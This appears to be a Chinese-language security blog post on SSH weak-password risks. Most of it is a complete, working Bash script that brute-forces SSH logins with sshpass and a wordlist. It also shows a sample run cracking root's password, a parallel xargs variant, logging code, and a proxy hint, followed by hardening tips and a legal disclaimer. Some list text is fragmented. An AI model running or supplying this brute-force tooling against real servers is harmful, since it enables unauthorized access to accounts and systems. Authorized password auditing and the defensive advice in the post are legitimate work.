SSH(Secure Shell)是Linux/Unix系统中最为常用的远程管理协议,它通过加密方式保障了网络通信的安全性。然而,弱密码依然是SSH服务面临的主要威胁之一。本文将带你深入理解SSH的工作原理,分析常见的安全漏洞,并通过一个简单的Bash脚本演示如何利用sshpass进行密码字典测试,帮助安全人员评估SSH服务的安全性。
SSH协议主要包含三个层次:
SSH支持多种认证方式,最常见的有:
弱密码是SSH服务最主要的漏洞。常见弱密码包括:
root、admin)123456、12345678)password、admin)某些旧版本SSH存在已知漏洞,如:
#!/bin/bashuser=""ip=""source=""while getopts "u:h:s:" opt; docase $opt inu) user="$OPTARG" ;;h) ip="$OPTARG" ;;s) source="$OPTARG" ;;*) echo "用法: $0 -u 用户名 -h IP地址 -s 密码字典文件" >&2exit 1 ;;esacdoneif [ -z "$user" ] || [ -z "$ip" ] || [ -z "$source" ]; thenecho "错误: 缺少必需的参数"echo "用法: $0 -u 用户名 -h IP地址 -s 密码字典文件"exit 1fiif [ ! -f "$source" ]; thenecho "错误: 密码字典文件 '$source' 不存在"exit 1fiattempt=0total=$(wc -l < "$source")echo "目标: $user@$ip"echo "字典: $source ($total 个密码)"echo ""while IFS= read -r password; do[ -z "$password" ] && continue((attempt++))printf "[%d/%d] 测试: %s\n" "$attempt" "$total" "$password"if sshpass -p "$password" ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no "$user@$ip" 'exit' 2>/dev/null; thenecho ""echo "成功! 用户名: $user | 密码: $password"exit 0fisleep 1done < "$source"echo "失败: 未找到有效密码"exit 1
-u:指定SSH用户名-h:指定目标IP地址-s:指定密码字典文件路径wc -l统计密码总数sshpass携带密码进行SSH连接ConnectTimeout=5:连接超时5秒StrictHostKeyChecking=no:跳过主机密钥确认'exit':连接成功后立即退出,减少资源占用脚本依赖sshpass工具,它允许在命令行中直接传递密码。安装方法:
# Ubuntu/Debiansudo apt install sshpass# CentOS/RHELsudo yum install sshpass
创建一个简单的密码字典文件passwords.txt:
123456passwordadminroot12345678
chmod +x ssh_brute_force.sh./ssh_brute_force.sh -u root -h 192.168.1.100 -s passwords.txt
目标: root@192.168.1.100字典: passwords.txt (5 个密码)[1/5] 测试: 123456[2/5] 测试: password[3/5] 测试: admin成功! 用户名: root | 密码: admin
使用xargs实现并发测试:
cat passwords.txt | xargs -P 10 -I {} sshpass -p {} ssh -o ConnectTimeout=5 root@192.168.1.100 'exit' 2>/dev/null && echo "成功: {}"log_file="bruteforce_$(date +%Y%m%d_%H%M%S).log"echo "[$(date)] 开始测试 $user@$ip" >> "$log_file"# 在成功时追加日志echo "[$(date)] 成功: $password" >> "$log_file"
通过-o ProxyCommand可以支持代理连接。
对于SSH服务管理者,建议采取以下措施防御爆破攻击:
安装fail2ban并启用SSH防护:
sudo apt install fail2bansudo systemctl enable fail2ban
编辑/etc/ssh/sshd_config,将Port 22改为其他端口。
在/etc/ssh/sshd_config中添加:
MaxAuthTries 3MaxSessions 2
PermitRootLogin no# 仅允许特定IP访问SSHiptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPTiptables -A INPUT -p tcp --dport 22 -j DROP
未经授权的SSH爆破行为可能违反《网络安全法》等相关法律法规,最高可追究刑事责任。请务必遵守法律规定。
本文从SSH协议原理出发,介绍了常见的安全漏洞,并提供了一个实用的SSH密码爆破脚本。通过该脚本,安全人员可以快速评估SSH服务的弱密码风险。同时,我们也强调了安全防御的重要性和合法合规的使用原则。
网络安全是一场持续的攻防博弈,只有理解攻击手法,才能更好地进行防御。希望本文能帮助读者提升安全意识,共同构建更安全的网络环境。
本文内容仅供技术交流,请勿用于非法用途。
#哪吒网络安全 #bash #ssh #bruteforce



